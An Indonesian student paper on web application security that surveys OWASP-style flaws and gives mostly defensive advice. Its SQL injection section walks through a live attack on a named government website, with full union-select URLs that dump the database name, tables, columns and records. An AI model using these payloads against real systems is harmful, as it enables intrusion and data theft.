• Tidak ada hasil yang ditemukan

Keamanan Data dan Jaringan Komputer (1)

N/A
N/A
Protected

Academic year: 2018

Membagikan "Keamanan Data dan Jaringan Komputer (1)"

Copied!
11
0
0

Teks penuh

(1)

KEAMANAN DATA DAN JARINGAN KOMPUTER

SISTEM SERVER APLIKASI PEMROGRAMAN WEB

DENGAN DATABASE

Disusun oleh :

Iman Budi D

(41187005120031)

M. Hibban Irsyad

(41187005120032)

Wahyu Aji S P

(41187005120009)

PROGRAM STUDI TEKNIK KOMPUTER

FAKULTAS TEKNIK

(2)

1.

Web database

Web database merupakan suatu sistem untuk menyimpan informasi yang kemudian dapat diakses melalui website. Sebagai contoh, sebuah komunitas online (online community) mungkin memiliki database yang menyimpan informasi username, password, dan detail informasi lain yang dimiliki semua anggotanya. Sistem database yang paling umum digunakan di Internet adalah MySQL dikarenakan integrasinya dengan PHP (PHP merupakan server side programming language yang paling banyak digunakan).

Pada tingkat yang paling sederhana, web database merupakan satu atau beberapa kumpulan tabel yang berisi data. Masing-masing tabel memiliki field-field berbeda untuk menyimpan berbagai jenis informasi. Tabel-tabel ini kemudian dapat saling dihubungkan untuk memanipulasi data menggunakan cara-cara tertentu.

Web database dapat digunakan untuk berbagai tujuan. Sebagai contoh, content management system (CMS) pada umumnya menggunakan web database untuk menyimpan informasi seperti post, username, dan juga komentar.

Menggunakan database memungkinkan website dapat diupdate dengan mudah dan tanpa perlu mengedit kode HTML untuk setiap halaman yang ingin diubah. Hal ini tidak hanya merupakan suatu cara yang efisien dalam membuat dan mengupdate sebuah website, namun juga membuat prosesnya lebih mudah diakses oleh orang-orang yang tidak terlalu memahami bahasa pemrograman Internet.

Contoh lain di mana web database dapat digunakan adalah untuk suatu forum online. Website forum seringkali membuat sebuah database dengan sejumlah tabel, termasuk satu untuk pengguna, post, dan untuk pengaturan. Merupakan hal yang penting untuk mengatur hubungan alias relationship di antara tabel, sehingga (misalnya) post dan pengguna dapat dihubungkan secara lebih mudah

Dalam membuat website kita memerlukan beberapa software yang harus kita gunakan. Karena tanpa adanya software tersebut kita akan mengalami kesulitan dalam membuatnya. Ada beberapa jenis software yang perlu kita gunakan, ada software untuk membuat desain sampai mengkoding software tersebut. Berikut jenis-jenis software yang harus kita gunakan dalam membuat website :

1. Software Web Design

(3)

2. Software Web Koding

Setelah kita mendesain web menggunakan software web desain, kita harus mengconvertnya menjadi web yang siap digunakan. Dalam kasus ini kita memerlukan software untuk menconvertnya. Banyak sekali software yang bisa digunakan, seperti : Microsoft Front Page, Adobe Dreamweaver, Notepad++, NetBeans. Tapi jangan hanya mengandalkan software tersebut, karena dalam menconvert menjadi web yang siap digunakan kita perlu mengetahui syntax-syntax bahasa pemrograman. Untuk itu jika Anda tidak mengetahui bahasa pemrograman web maka Anda akan merasa sangat kesulitan.

3. Software Web Mesin

Setelah kita menconvert menjadi HTML murni langkah selanjutnya kita akan membuat mesin web tersebut. Kita membutuhkan software-software pendukung misalkan MySQL Service untuk membuat database, Apache Service untuk mengakses PHP di Localhost. Semua

software-software tersebut kita bisa dapatkan dalam satu paket seperti XAMPP (favorit saya), WAMP, dll.

Itu tadi software-software yang perlu kita gunakan dalam membuat suatu web. Tentunya masih ada banyak software yang dapat kita gunakan. Tapi itu adalah software-software umum dalam dunia web development.

Masalah keamanan

Open Web Application Security Project (OWASP) adalah project open source yang dibangun untuk menemukan penyebab dari tidak amannya sebuah software dan menemukan cara menanganinya ada 9 celah keamanan aplikasi web yang ditemukan dan rekomendasi mereka tentang menangani sebagai sebuah standard keamanan minimal dari aplikasi web. Berikut ini adalah 10 celah tersebut dan cara agar kita dapat mengatasi masalah tersebut.

I. Unvalidated input

semua aplikasi web menampikan data dari HTTP request yang dibuat oleh user dan menggunakan data tersebut untuk melakukan operasinya. Hacker dapat memanipulasi bagian-bagian pada request (query string, cookle information, header) untuk membypass mekanisme keamanan. Berikut ini tiga jenis penyerangan yang berhubungan dengan masalah ini:

(4)

II. Broken Access Control

Banyak aplikasi yang mengkategorikan user-usernya ke dalam role yang berbeda dan level yang berbeda untuk berinteraksi dengan content yang dibedakan dari kategori-kategori tersebut, salah satu contohnya, banyak aplikasi yang terdapat user role dan admin role: hanya admin role yang dijinkan untuk mengakses halaman khusus atau melakukan action melakukan action administration.

Masalahnya adalah beberapa aplikasi tidak efektif untuk memaksa agar otomatis ini bekerja contohnya, beberapa program hanya menggunakan sebuah chekpoint dimana hanya user yang terpilih yang dapat mengakses: untuk proses lebih lanjut, user harus membuktikan dirinya menjalankan pengecekan dari chek point sebelumnya: dimana apabila user berhasil melewati halaman login, mereka dapat bebas menjalankan operasi.

Masalah lain yang berhubungan dengan access control adalah :

a. Insecure Ids (Id Tidak aman) – beberapa site menggunakan id atau kunci yang menunjukan kepada user atau fungsi. ID dapat juga ditebak, dan jika hacker dapat mudah menebak ID dari user yang terautorisasi, maka site akan mudah diserang. b. File permissions- kebanyakan web dan aplikasi server percaya kepada external file

yang menyimpan daftar dari user yang terotorisasi dan resources mana saja yang dapat dan/atau tidak dapat di akses. Apabila file ini dapat di baca dari luar, maka hacker dapat memodifikasi dengan mudah untuk menambahkan dirinya pada daftar user yang diijinkan.

Langkah –langkah apa saja yang dapat di lakukan untuk mengatasinya? Pada contoh-contoh tadi, kita dapat mengembangkan filter atau komponen yang dapat di jalankan pada sensitive resources, filter atau komponen tadi dapat menjamin hanya user yang terotorisasi dapat mengakses. Untuk melindungi dari inseure Ids yang dapat memberi acess control, pada masalah file permission, file-file tersebut harus berada pada lokasi yang tidak dapat di akses oleh web browser dan hanya role tertentu saja yang dapat mengaksesnya.

III. Broken Authentication dan session Management

Authentication dan session management menunjuk kepada semua aspek dari pengaturan user authentifikasi management of active session, ini beberapa hal yang perlu di perhatikan :

(5)

b. Password use –Aplikasi kita harus membatasi user yang mengakses aplikasi melakukan login kembali ke sistem pada tenggang waktu tertentu. Dengan cara ini aplikasi dapat dilindungi dari serangan brute force dimana hacker bisa menyerang berulang kali untuk berhasil login ke sistem, selain itu, log in yang gagal sebaiknya dicatat sebagai informasi kepada administrator untuk mengindikasikan kemungkinan serangan yang terjadi.

c. Password storage – password tidak boleh disimpan di dalam aplikasi. Password harus disimpan dalam format terenkripsi dan disimpan di file lain seperti database atau file password. Hal ini dapat meastikan bahwa informasi yang sensitif seperti password tidak disebarkan ke dalam aplikasi.

Issue lain yang berhubungan: password tidak boleh dalam bentuk hardcode didalam source code Session ID Protection – server biasanya menggunakan session Id untuk mengidentifikasi user yang msauk kedalam session. Akan tetapi jika session ID ini dapat dilihat oleh seseorang pada jaringan yang sama, orang tersebut dapat menjadi seorang client.

Salah satu cara yang dapat digunakan untuk mencegah terlihat sessio ID oleh seseorang pada suatu jaringan yang sama adalah menghubungkan komunikasi antara server dan client pada sebuah SSL-protected channel.

IV Cross Site Scripting

Cross Site Script atau kependekannya XSS merupakan salah satu serangan injeksi code (code injection attack). XSS dilakukan oleh penyerang dengan cara memasukan kode HTML (HyperText Markup Language) atau client script code lainnya kesuatu situs. Serangan ini akan seolah-olah datang dari situs tersebut akibat serangan ini antara lain penyerang dapat mem-bypass keamanan disisi klkien, mendapat informsi sensitif, atau menyimpan aplikasi berbahaya.

Alasannya kependekan yang digunakan XSS bukan CSS karena CSS sudah digunakan untuk cascade syle sheet.

Cross site Scripting atau XSS memiliki Tipe XSS antara lain: 1. Reflected XSS atau nonpersitent

(6)
(7)

2. Stored XSS

Stored XSS lebih jarang ditemui dan dampak serangannya lebih besar. Sebuah serangan stored XSS dapat berakibat pada seluruh pengguna. Stored XSS terjadi saat pengguna diizinkan untuk memasukan data yang akan ditampilkan kembali. Contohnya adalah pada message board, buku tamu, dll. Penyerang memasukkan kode HTML atau client script code lainnnya pada posting mereka.

Serangan ini lebih menakutkan. Mekanisme pertahanannya sama dengan reflected XSS: jika pengguna diizinkan untuk memasukkan data, lakukan validasi sebelum disimpan pada aplikasi.

V Injection Flows

Injection flaws,yaitu salah satu teknik hacking yang memanfaatkan celah keamanan pada basis datanya. dan yang sering digunakan adalah SQL injection dengan memasukan perintah-perintah SQL pada website yang lemah dalam membuat struktur basis data, akan memudahkan bagi hacker untuk mendapatkan informasi pribadi, seperti strukur tabel basis data, kolom-kolom yang terdapat pada tabel basis data tersebut, hingga isi record basis data tersebut. sehingga hacker bisa mengetahui username atau id dan password admin pengelola website tersebut.

SQL injection termasuk salah satu cara menembus celah keamanan yang sudah lama diketahui, namum hingga saat ini masih banyak pemeintah Indonesia, salah satunya adalah website milik salah satu instansi pemerintah di bawah kementerian Riset dan Teknologi Republik Indonesia dengan alamat url : http://....go.id

Bagaimana sebuah website bisa diketahui memiliki kelemahan untuk di lakukan sql dengan memasukan karakter- atau ` ke dalam halaman website yang memiliki karakter angka, misalnya : http://drn.go.id/index.php?option=com_frontpage & catid=13 ,sehinga didapat error page seperti gambar di bawah ini. Error SQL ini merupakan salah satu kelemahan dalam membangun struktur basis data dalam mendefinisikan type data.

(8)

Error SQL yang terlihat, dapat dimanfaatkan untuk mengetahui nama database dan table-table dalam databse tersebut yang digunakan sebagai basis data website ini.

Untuk mengetahui nama databasenya adalah dengan menambahkan sintak ‘ and 1=2 by n`pada akhirnya alamat url, dimana n=12345,...,n dimasukan satu per satu nilai n tersebut, sehingga error page berubah menjadi ‘unknown coloum’

Pada website ini error ‘unkown column’ yang ditemukan adalah mengetahui versi mysql dan username administrator database, yaitu dengan memasukkan sintak `and 1=2 union select version(), 2-`sehingga diketahui versi mysqlnya adalah versi 5.

Dan selanjutnya untuk mengetahui nama username dan databse pada website ini adalah dengan mengganti sintak version (), menjadi databsse dan user (), contohnya adalah alamat url berikut ini:

http://www.drn.go.id/index.php?option=isi & task=view & id=-281+and+1=2+union+select+database(),2-- & Itemid=2

Dan setelah nama databasenya, akan mudah untuk mengetahui nama tabel-tabel pada database tersebut, adalah dengan memasukkan sintak `and 1=2 union select group_concat (table_name) from information_schema.tables where table_schema=database ()- `pad akhir alamat url, menjadi :

http://www.drn.go.id/index.php?option=isi & task=view &

id=-281+and+1=2+union+select+group_concat(table_name),2+from+information_schema.tables +where+table_schema=database()-- & Itemid=2

maka akan diketahui nama-nama tabel pada database tersebut seperti pada gambar dibawah ini

Terlihat nama table-table pada database ini adalah agenda batas_orangjam, buku_alamat, dimanam direktori, direktori_url, disposisi_surat, fasilitas, file,tb, forum, grup, grup_pengguna, hasil_jajak,_pendapat, ing_core_acl_aro, ing_core_acl_aro_groups, ing_core_acl_aro_sections,

(9)

Setelah mengetahui struktur tabel pada database ini, akan mudah untuk mengetahui nama kolom-kolom pada tabel-tabel tersebut adalah dengan memasukkan sintak : `and 1=2 union select group_concat (table_name) from information_schema.tables where table_name=mysqlchar(table_name)-, bagaimana mendapatkan nilai mysqchar adalah dengan mengkonversi nama tabel menjadi bantuan sql pada localhost kita, nama tabel agenda dikonversi menjadi char (97,103,101,110,100,97).

Sehingga alamat url menjadi : http://www.drn.go.id/index.php?option=isi & task=view & id=-281%20and%201=0%20union%20select%20group_concat(column_name),2%20from

%20information_schema.columns%20where

%20table_name=CHAR(97,103,101,110,100,97)-- & Itemid=2

maka diketahui, nama kolom pada tabel agenda adalah kode_agenda pemilik, judul, tipe, tgl_mulai, waktu_mulai, waktu_selesai, kode_pengulangan, kode_undangan, deskripsi, tgl_dibuat, tgl_diubah, sharing_publik, sifat_sharing, undang_via_email, undang_via_sms.

Terakhir untuk mengetahui isi dari kolom-kolom tersebut adalah dengan memasukkan sintak `and 1=2 union select group_concat(nama_kolom0x3a,nama_kolom lainnya) from

nama_table-Sehingga url menjadi :

http://www.drn.go.id/index.php?option=isi & task=view &

id=-281+and+1=2+union+select+group_concat(kode_agenda,0x3a,pemilik,0x3a,judul,0x3a,tipe, 0x3a,tgl_mulai,0x3a,waktu_mulai,0x3a,waktu_selesai,0x3a,kode_pengulangan,0x3a,kode_u ndangan,0x3a,deskripsi,0x3a,tgl_dibuat,0x3a,tgl_diubah,0x3a,sharing_publik,0x3a,sifat_shar ing,0x3a,undang_via_email,0x3a,undang_via_sms),2+from+agenda-- & Itemid=2

Maka selanjutnya sql injection inid apat dimanfaatkan oleh orang yang tidak bertanggung jawab untuk mengetahui nama username dan administrasi untuk login sebagai administrator website ini.

VII Insecure storage

(10)

 Kesalahan untuk mengenkripsi data penting.

 Tidak amannya kunci, certificate, dan password

 Kurang amannya tempat penyimpanan data

 Kurangnya perhitungan dari rekomendasi

 Kesalahan pemilihan algoritma

 Mencoba untuk menciptakan algoritma enkripsi yang baru.

Berdasarkan skenario berikut ini : Terdapat sebuah aplikasi, dimana terdapat password pada user object. Akan tetapi, aplikasi menyimpan user objek ke dalam session setelah user login. Permasalahan yang akan muncul pada skenario ini adalah password dapat dilihat oleh seseorang yang dapat melihat session user tersebut. Salah satu cara yang dilakukan untuk menghindari kesalahan penyimpanan informasi yang sensitif adalah : tidak membuat password sebagai atribut dari kelas yang mewakili informasi user; Daripada mengenkripsi nomor kartu kredit dari user, akan lebih baik untuk menanyakannya setiap kali dibutuhkan.

Selain itu, menggunakan algoritma enkripsi yang sudah ada akan lebih baik daripada membuat algoritma sendiri. Anda cukup memastikan algoritma yang akan digunakan telah diakui oleh public dan benar-benar dapat dilaksanakan.

VIII Deniel of Service

Deniel of Service merupakan serangan yang dibuat oleh hacker yang mengirimkan request dalam jumlah yang sangat besar dan dalam waktu yang bersamaan. Dikarenakan request-request tersebut, server menjadi kelebihan beban dan tidak bisa melayani user lainnya.

Serangan DoS mampu menghabiskan bandwidth yang ada pada server. Selain itu dapat juga menghabiskan memory, koneksi database, dan sumber yang lain.

Pada umumnya sangat sulit umtuk melindungi apliksi dari serangan ini. Akan tetapi masih ada cara yang dapat dilakukan seperti membatasi resource yang dapat di akses user dalam jumlah yang minimal. Merupakan ide/cara yang bagus untuk membuat load quota yang membatasi jumlah load data yang akan diakses user dari sistem.

(11)

20 detik. Dengan cara ini dapat dipastikan bahwa user tiadk bisa menghasbiakan koneksi dari database.

Solusi yang lain adalah mendesain aplikasi web dimana user yang belum terotorisasi hanya memiliki akses yang sedikit atau tidak memilki akses ke content web yang berhunbungan dengan databse.

IX Insecure Configuration Management

Biasanya kelompok (group) yang mengembangkan aplikasi berbeda dengan kelompok yang mengatur hosting dari aplikasi. Hal ini bisa menjadi berbahaya, dikarenakan keamanan yang diandalkan hanya dari segi aplikasi : sedangkan dari segi server juga memiliki aspek keamanan yang perlu diperhatian, Adanya kesalahan dari konfigurasi server dapat melewati aspek keamanan dari segi aplikasi. Berikut ini adalah kesalahan konfigurasi server yang bisa menimbulkan masalah :

 File-file backup atau file contoh (sample dile), file-file script, file konfigurasi yang tertinggal/tidak perlu.

 Hak akses atau file yang salah.

 Adanya service yang seperti remote administration dan content management yang masih aktif.

 Penggunaan default account dan default password.

 Fungsi administrative atau fungsi debug yang bisa diakses.

 Adanya pesan error yang informatif dari segi teknis.

 Kesalahan konfigurasi SSL certificate dan setting enkripsi.

 Penggunaan self-signet certificates untuk melakukan autentikasi.

 Penggunaan default certificate.

Referensi

Dokumen terkait

Dari hasil pengujian User Acceptence Testing yang telah dilakukan kepada siswa, aplikasi ini bisa lebih membantu dalam belajar, siswa tidak mengalami kesulitan dalam

Sejalan dengan hal tersebut diatas maka Peraturan Daerah Kotamadya Daerah Tingkat 11 Solok Nomor 6 Tahun 1997 tentang Pemberian Uang Perangsang Kepada Dinas

Permasalahan yang saat ini terjadi pada PT Onassis Wisata Cemerlang menurut Ibu Riama Chaidir selaku manajer pada PT Onassis Wisata Cemerlang adalah ingin

Vi hade en förhoppning på att detta även skulle kunna leda till minskade behandlingar mot ledinflammationer i de olika besättningarna, men här har vi för lite försöksresultat och

[r]

• Denda sebesar 100% dari biaya program untuk pembatalan yang dilakukan pada tanggal penyelenggaraan. • Seluruh biaya yang telah diterima akan dikembalikan apabila pembatalan

Pak Budi ingin agar peserta didik kelas XI IPA 2 melakukan sebuah penyelidikan yang bertujuan untuk mengetahui apakah terdapat gangguan dan kelainan pada organ ginjal jika

stakeholder, dan 9) Implementasi. Tahapan-tahapan penelitian di atas dibagi menjadi dua bagian, Bagian pertama yang merupakan tahapan penelitian 1 sampai dengan 4